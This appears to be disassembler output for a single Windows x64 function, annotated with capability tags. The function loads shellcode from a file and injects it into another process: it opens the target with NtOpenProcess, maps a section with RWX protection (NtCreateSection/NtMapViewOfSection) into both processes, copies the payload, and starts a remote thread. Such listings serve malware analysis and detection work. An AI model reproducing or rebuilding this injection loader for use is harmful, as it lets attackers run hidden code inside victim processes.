Function at 0x140004620
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Map section object
Read file on windows
Terminate process

Disassembly:
push rbp
push rbx
push rdi
push r13
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov rax, qword [0x14004aac0]
xor rax, rsp
mov qword [rbp + 0x27], rax
movsxd r15, dword [0x14004ce20]
lea rdx, str.__Opening_shellcode_at:
mov rbx, qword [0x14004cde8]
mov rdi, rcx
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
mov rdx, rbx
call fcn.14000b160
mov rcx, rax
call fcn.14000b6f0
xor r13d, r13d
xor r9d, r9d
mov qword [rsp + 0x30], r13
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, rbx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400046e4
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.__Unable_to_obtain_a_handle_to_file:
mov ebx, eax
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
mov edx, ebx
call fcn.140008120
mov rcx, rax
call fcn.140008940
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x138], rsi
xor edx, edx
mov qword [rsp + 0x140], r12
mov rcx, rbx
mov qword [rsp + 0x148], r14
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r14d, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, r14d
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r9d, r9d
mov qword [rsp + 0x20], r13
mov rdx, rax
mov r8d, r14d
mov rcx, rbx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
xorps xmm0, xmm0
mov qword [rbp - 0x29], r15
movdqu xmmword [rbp + 7], xmm0
mov qword [rbp - 0x21], r13
lea rdx, [rbp - 0x69]
movaps xmm0, xmmword [rbp - 0x29]
xor eax, eax
xor r8d, r8d
movdqa xmmword [rbp - 0x69], xmm0
mov rcx, rdi
mov qword [rbp - 0x41], r13
mov qword [rbp - 0x59], r13
mov qword [rbp - 0x49], r13
mov qword [rbp + 0x1f], r14
mov dword [rbp + 0x17], r14d
mov dword [rbp + 0x1b], eax
mov dword [rbp - 0x19], 0x30
mov qword [rbp - 0x11], r13
mov dword [rbp - 1], r13d
mov qword [rbp - 9], r13
call fcn.140003910
lea r9, [rbp - 0x29]
mov edx, 0x1000
lea r8, [rbp - 0x19]
lea rcx, [rbp - 0x49]
call qword [sym.imp.ntdll.dll_NtOpenProcess]
mov r8, qword [rbp - 0x49]
mov ebx, eax
cmp r8, 0xffffffffffffffff
jne 0x1400047e8
lea rdx, str.__Unable_to_obtain_a_handle_to_process:
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
call fcn.140008920
mov rcx, rax
mov edx, ebx
call fcn.140008320
mov rcx, rax
call fcn.140008940
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rdx, qword [rdi + 0x120]
mov rcx, rdi
call fcn.140002ea0
mov qword [rsp + 0x30], r13
lea r9, [rbp + 0x17]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rbp - 0x51]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xe
call qword [sym.imp.ntdll.dll_NtCreateSection]
cmp qword [rbp - 0x51], 0xffffffffffffffff
jne 0x14000485f
lea rdx, str.__Unable_to_Create_Section:
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
call fcn.140008920
mov rcx, rax
mov edx, ebx
call fcn.140008320
mov rcx, rax
call fcn.140008940
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [rbp - 0x51]
lea r8, [rbp - 0x59]
mov dword [rsp + 0x48], 0x40
mov rdx, rax
mov dword [rsp + 0x40], r13d
lea rax, [rbp + 0x1f]
mov dword [rsp + 0x38], 2
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
lea rdx, str.__Mapped_view_of_our_section_result:
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, ebx
mov rcx, rax
call fcn.140008320
mov rcx, rax
call fcn.14000b6f0
mov rdx, qword [rbp - 0x49]
lea rax, [rbp + 0x1f]
mov rcx, qword [rbp - 0x51]
lea r8, [rbp - 0x41]
mov dword [rsp + 0x48], 0x40
xor r9d, r9d
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
lea rdx, str.__Mapped_view_of_target_process_section_result:
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, ebx
mov rcx, rax
call fcn.140008320
mov rcx, rax
call fcn.14000b6f0
mov rcx, qword [rbp - 0x59]
mov r8, r14
mov rdx, r12
call fcn.140034490
lea rdx, str.__Copied:
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
mov edx, r14d
call fcn.140008120
mov rcx, rax
lea rdx, str._Bytes_to
call fcn.14000b160
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov rcx, rax
mov rdx, qword [rbp - 0x59]
call fcn.140007d20
mov rcx, rax
call fcn.14000b6f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rbp - 0x59]
mov rcx, rax
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ntdll.dll_NtClose]
lea rdx, str.__Thrad_the_Needle_:v
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
call fcn.14000b6f0
mov rax, qword [rbp - 0x41]
lea rcx, [rbp - 0x39]
mov r9, qword [rbp - 0x49]
xor r8d, r8d
mov qword [rsp + 0x50], r13
mov edx, 0x1fffff
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rax
call qword [rdi + 0x128]
mov rcx, qword [rbp - 0x39]
mov ebx, eax
cmp rcx, 0xffffffffffffffff
jne 0x140004a7a
lea rdx, str.__Unable_to_Create_Thread:
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
call fcn.140008920
mov rcx, rax
mov edx, ebx
call fcn.140008320
mov rcx, rax
call fcn.140008940
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.ntdll.dll_NtClose]
mov r12, qword [rsp + 0x140]
mov rsi, qword [rsp + 0x138]
mov r14, qword [rsp + 0x148]
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14002aba0
add rsp, 0x100
pop r15
pop r13
pop rdi
pop rbx
pop rbp
ret